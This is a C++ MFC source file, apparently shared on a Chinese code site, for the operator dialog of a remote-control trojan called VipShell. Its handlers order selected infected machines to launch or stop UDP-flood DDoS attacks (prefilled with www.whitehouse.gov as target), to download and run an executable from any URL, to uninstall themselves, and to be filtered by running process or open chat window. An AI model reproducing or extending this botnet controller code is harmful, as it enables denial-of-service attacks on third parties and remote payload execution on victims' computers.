📄 vipclientdlg.cpp
字号:
void CVipClientDlg::OnBnClickedVipshellDelete()
{
CServerConnectHandle* hServer = _GetSelServer();
if(hServer != NULL)
{
DWORD nSel = GetSelItem();
m_ListServer.DeleteItem(nSel);
}
}
void CVipClientDlg::OnBnClickedVipshellDDOSUdpFloodStart_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellDDOSUdpFloodStart );
}
void CVipClientDlg::OnBnClickedVipshellDDOSUdpFloodStart()
{
CServerConnectHandle* hServer = _GetSelServer();
if(hServer != NULL)
{
CInputExDlg input(this, L"UDP洪水攻击 参数设定", L"目标主机 域名或IP",L"www.whitehouse.gov",true, L"目标主机端口",L"80",true, L"攻击线程数目 推荐值 1-100",L"5",true, L"攻击线程循环间隔(单位:毫秒 1秒=1000毫秒)推荐值 1-300",L"5",true, L"持续攻击时间(单位:分)",L"20",true, L"未启用参数",L" ",false);
if(input.DoModal() != IDOK)
return ;
bool bRet = hServer->DDOSUdpFloodStart(input.m_strEdit1, _ttoi(input.m_strEdit2), _ttoi(input.m_strEdit3), _ttoi(input.m_strEdit4), _ttoi(input.m_strEdit5) );
if(!bRet)
{
MessageBox(L"远程主机没有响应");
}
//else
//{
// MessageBox(L"Started!");
//}
}
}
void CVipClientDlg::OnBnClickedVipshellDDOSUdpFloodStop_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellDDOSUdpFloodStop );
}
void CVipClientDlg::OnBnClickedVipshellDDOSUdpFloodStop()
{
CServerConnectHandle* hServer = _GetSelServer();
if(hServer != NULL)
{
bool bRet = hServer->DDOSUdpFloodStop();
if(!bRet)
{
MessageBox(L"远程主机没有响应");
}
//else
//{
//MessageBox(L"Stoped!");
//}
}
}
void CVipClientDlg::OnBnClickedVipshellDownfileBatch_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellDownfileBatch );
}
void CVipClientDlg::OnBnClickedVipshellDownfileBatch()
{
CInputDlg input(this, L"批量下载文件", L"http://www.xxx.com/xxx.exe");
if(input.DoModal() != IDOK)
return ;
input.m_strText.Replace(L"\\", L"/");
CString str;
for(int i=0; i<m_ListServer.GetItemCount(); i++)
{
if( m_ListServer.GetItemState(i, LVIS_SELECTED) == LVIS_SELECTED || m_ListServer.GetCheck(i))
{
CServerConnectHandle* hServer = _GetSelServers(i);
if(hServer != NULL)
{
bool bRet = hServer->DownFileAndRun(input.m_strText);
if(!bRet)
{
//MessageBox(L"远程主机没有响应");
}
}
}//if
}//for
}
void CVipClientDlg::OnBnClickedVipshellExplainBatch_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellExplainBatch );
}
void CVipClientDlg::OnBnClickedVipshellExplainBatch()
{
CInputDlg input(this, L"修改注释", L"ByShell");
if(input.DoModal() != IDOK)
return ;
CString str;
for(int i=0; i<m_ListServer.GetItemCount(); i++)
{
if( m_ListServer.GetItemState(i, LVIS_SELECTED) == LVIS_SELECTED || m_ListServer.GetCheck(i))
{
CServerConnectHandle* hServer = _GetSelServers(i);
if(hServer != NULL)
{
bool bRet = hServer->SetServerExplain(input.m_strText);
if(!bRet)
{
//MessageBox(L"远程主机没有响应");
}
else
{
m_ListServer.SetItemText(i, 1, input.m_strText);
}
}
}//if
}//for
}
void CVipClientDlg::OnBnClickedVipshellRemoveBatch_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellRemoveBatch );
}
void CVipClientDlg::OnBnClickedVipshellRemoveBatch()
{
int RemoveConfirm = MessageBox(L"您确定要卸载么?相关文件将在重新启动后自动删除。注意:远程服务端将在命令发出后5秒自动关闭工作线程。", L"卸载远程主机服务端",MB_ICONQUESTION|MB_OKCANCEL)==IDOK;
if( RemoveConfirm == IDOK )
{//ID_OK
CString str;
for(int i=0; i<m_ListServer.GetItemCount(); i++)
{
if( m_ListServer.GetItemState(i, LVIS_SELECTED) == LVIS_SELECTED || m_ListServer.GetCheck(i))
{
CServerConnectHandle* hServer = _GetSelServers(i);
if(hServer != NULL)
{
bool bRet = hServer->RemoveServer();
if(!bRet)
{
//MessageBox(L"远程主机没有响应");
}
else
{
m_ListServer.SetItemText(i, 1, L"卸载成功,请稍后");
}
}
}//if
}//for
}//ID_OK
}
//网络攻击
void CVipClientDlg::OnBnClickedVipshellDDOSUdpFloodStartBatch_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellDDOSUdpFloodStartBatch );
}
void CVipClientDlg::OnBnClickedVipshellDDOSUdpFloodStartBatch()
{
CInputExDlg input(this, L"UDP洪水攻击 参数设定", L"目标主机 域名或IP",L"www.whitehouse.gov",true, L"目标主机端口",L"80",true, L"攻击线程数目 推荐值 1-100",L"5",true, L"攻击线程循环间隔(单位:毫秒 1秒=1000毫秒)推荐值 1-300",L"5",true, L"持续攻击时间(单位:分)",L"20",true, L"未启用参数",L" ",false);
if(input.DoModal() != IDOK)
return ;
CString str;
for(int i=0; i<m_ListServer.GetItemCount(); i++)
{
if( m_ListServer.GetItemState(i, LVIS_SELECTED) == LVIS_SELECTED || m_ListServer.GetCheck(i))
{
CServerConnectHandle* hServer = _GetSelServers(i);
if(hServer != NULL)
{
bool bRet = hServer->DDOSUdpFloodStart(input.m_strEdit1, _ttoi(input.m_strEdit2), _ttoi(input.m_strEdit3), _ttoi(input.m_strEdit4), _ttoi(input.m_strEdit5) );
if(!bRet)
{
//MessageBox(L"远程主机没有响应");
}
}
}//if
}//for
}
void CVipClientDlg::OnBnClickedVipshellDDOSUdpFloodStopBatch_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellDDOSUdpFloodStopBatch );
}
void CVipClientDlg::OnBnClickedVipshellDDOSUdpFloodStopBatch()
{
CString str;
for(int i=0; i<m_ListServer.GetItemCount(); i++)
{
if( m_ListServer.GetItemState(i, LVIS_SELECTED) == LVIS_SELECTED || m_ListServer.GetCheck(i))
{
CServerConnectHandle* hServer = _GetSelServers(i);
if(hServer != NULL)
{
bool bRet = hServer->DDOSUdpFloodStop();
if(!bRet)
{
//MessageBox(L"远程主机没有响应");
}
}
}//if
}//for
}
//网络攻击
void CVipClientDlg::OnBnClickedVipshellMakefile_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellMakefile );
}
void CVipClientDlg::OnBnClickedVipshellMakefile()
{
// TODO: 在此添加控件通知处理程序代码
CMakeFileDlg dlg;
dlg.DoModal();
}
void CVipClientDlg::OnBnClickedButtonUpdateip_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedButtonUpdateip );
}
void CVipClientDlg::OnBnClickedButtonUpdateip()
{
// TODO: 在此添加控件通知处理程序代码
CUpdateIpDlg dlg;
dlg.DoModal();
}
void CVipClientDlg::OnBnClickedButtonAD()
{
// TODO: 在此添加控件通知处理程序代码
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
void CVipClientDlg::OnBnClickedVipshellSelectAll_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellSelectAll );
}
void CVipClientDlg::OnBnClickedVipshellSelectAll()
{
CString str;
for(int i=0; i<m_ListServer.GetItemCount(); i++)
{
m_ListServer.SetCheck( i,true );
}//for
}
void CVipClientDlg::OnBnClickedVipshellSelectOther_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellSelectOther );
}
void CVipClientDlg::OnBnClickedVipshellSelectOther()
{
CString str;
for(int i=0; i<m_ListServer.GetItemCount(); i++)
{
if( m_ListServer.GetItemState(i, LVIS_SELECTED) == LVIS_SELECTED || m_ListServer.GetCheck(i))//已经选择
{
m_ListServer.SetCheck( i,false );
}
else
{
m_ListServer.SetCheck( i,true );
}
}//for
}
void CVipClientDlg::OnBnClickedVipshellSelectNone_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellSelectNone );
}
void CVipClientDlg::OnBnClickedVipshellSelectNone()
{
CString str;
for(int i=0; i<m_ListServer.GetItemCount(); i++)
{
m_ListServer.SetCheck( i,false );
}//for
}
void CVipClientDlg::OnBnClickedVipshellSelect_QueryProcess_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellSelect_QueryProcess );
}
void CVipClientDlg::OnBnClickedVipshellSelect_QueryProcess()
{
CInputDlg input(this, L"根据进程筛选", L"QQ.exe");
if(input.DoModal() != IDOK)
return ;
CString str;
for(int i=0; i<m_ListServer.GetItemCount(); i++)
{
CServerConnectHandle* hServer = _GetSelServers(i);
if(hServer != NULL)
{
bool bRet = hServer->QueryProcessByName(input.m_strText);
if(bRet)
{
m_ListServer.SetCheck( i,true );
}
}
}//for
}
void CVipClientDlg::OnBnClickedVipshellSelect_QueryWindow_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellSelect_QueryWindow );
}
void CVipClientDlg::OnBnClickedVipshellSelect_QueryWindow()
{
CInputDlg input(this, L"根据窗口筛选", L"聊天中");
if(input.DoModal() != IDOK)
return ;
CString str;
for(int i=0; i<m_ListServer.GetItemCount(); i++)
{
CServerConnectHandle* hServer = _GetSelServers(i);
if(hServer != NULL)
{
bool bRet = hServer->QueryWindowByName(input.m_strText);
if(bRet)
{
m_ListServer.SetCheck( i,true );
}
}
}//for
}
void CVipClientDlg::Layout()
{
if(m_ListServer.GetSafeHwnd() == NULL)
return ;
CRect rcWnd; GetClientRect(&rcWnd);
CRect rcList; m_ListServer.GetClientRect(&rcList);
int nListTop = 100;
rcList.top = nListTop;
// rcList.
rcList.bottom = rcWnd.Height() - nListTop - 25;
rcList.right = rcWnd.Width();
m_ListServer.MoveWindow(rcList.left, rcList.top, rcList.right, rcList.bottom);
CRect rcStatus; rcStatus = rcWnd;
rcStatus.top = rcStatus.bottom - 25;
m_wndStatusBar.MoveWindow(&rcStatus);
}
void CVipClientDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
Layout();
// TODO: 在此处添加消息处理程序代码
}
//static
int CALLBACK CVipClientDlg::SortCompareStringFunc(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort)
{
CVipClientDlg* pThis = (CVipClientDlg*)lParamSort;
int c ;
if(pThis->m_nHeadItem == 0)
c = pThis->m_servermap[lParam1].m_dwIp - pThis->m_servermap[lParam2].m_dwIp;
else if (pThis->m_nHeadItem == 1)
{
CString strItem1 = pThis->m_servermap[lParam1].m_SystemInfo.szExplain;
CString strItem2 = pThis->m_servermap[lParam2].m_SystemInfo.szExplain;
c = strItem1.CompareNoCase(strItem2);
}else if(pThis->m_nHeadItem == 2)
{
CString strItem1 = pThis->m_servermap[lParam1].m_SystemInfo.szVersion;
CString strItem2 = pThis->m_servermap[lParam2].m_SystemInfo.szVersion;
c = strItem1.CompareNoCase(strItem2);
}
else if(pThis->m_nHeadItem == 3)
{
tagServerSystemInfo* info1 = &pThis->m_servermap[lParam1].m_SystemInfo;
tagServerSystemInfo* info2 = &pThis->m_servermap[lParam2].m_SystemInfo;
CString strItem1 = pThis->_GetServerEditionString(info1->dwMajorVersion, info1->dwMinorVersion, info1->dwPlatformId);
CString strItem2 = pThis->_GetServerEditionString(info2->dwMajorVersion, info2->dwMinorVersion, info2->dwPlatformId);
c = strItem1.CompareNoCase(strItem2);
}else if(pThis->m_nHeadItem == 4)
c = pThis->m_servermap[lParam1].m_SystemInfo.dwMemory - pThis->m_servermap[lParam2].m_SystemInfo.dwMemory;
else if(pThis->m_nHeadItem == 5)
c = pThis->m_servermap[lParam1].m_SystemInfo.dwCpuSpeed - pThis->m_servermap[lParam2].m_SystemInfo.dwCpuSpeed;
else if(pThis->m_nHeadItem == 6)
{
CString strItem1 = pThis->m_servermap[lParam1].m_strAddr.c_str();
CString strItem2 = pThis->m_servermap[lParam2].m_strAddr.c_str();
c = strItem1.CompareNoCase(strItem2);
}
else if(pThis->m_nHeadItem == 7)
c = pThis->m_servermap[lParam1].m_dwCareer - pThis->m_servermap[lParam2].m_dwCareer;
else
c = 0;
if(pThis->m_bCompareType)
c = -c;
return c;
}
void CVipClientDlg::OnHdnItemclickListServer(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMHEADER phdr = reinterpret_cast<LPNMHEADER>(pNMHDR);
// TODO: 在此添加控件通知处理程序代码
*pResult = 0;
m_nHeadItem = phdr->iItem;
m_ListServer.SortItems(SortCompareStringFunc,(DWORD_PTR) this);
m_bCompareType = !m_bCompareType;
}
void CVipClientDlg::OnLvnItemchangedListServer(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMLISTVIEW pNMLV = reinterpret_cast<LPNMLISTVIEW>(pNMHDR);
// TODO: 在此添加控件通知处理程序代码
*pResult = 0;
}
void CAboutDlg::OnBnClickedUrlHackercn()
{
// TODO: 在此添加控件通知处理程序代码
ShellExecute(NULL,L"open",L"IEXPLORE.EXE",L"http://www.hacker.com.cn",NULL,SW_SHOWNOACTIVATE);
}
void CAboutDlg::OnBnClickedUrlSteelkernel()
{
// TODO: 在此添加控件通知处理程序代码
ShellExecute(NULL,L"open",L"IEXPLORE.EXE",L"http://www.steelkernel.com",NULL,SW_SHOWNOACTIVATE);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -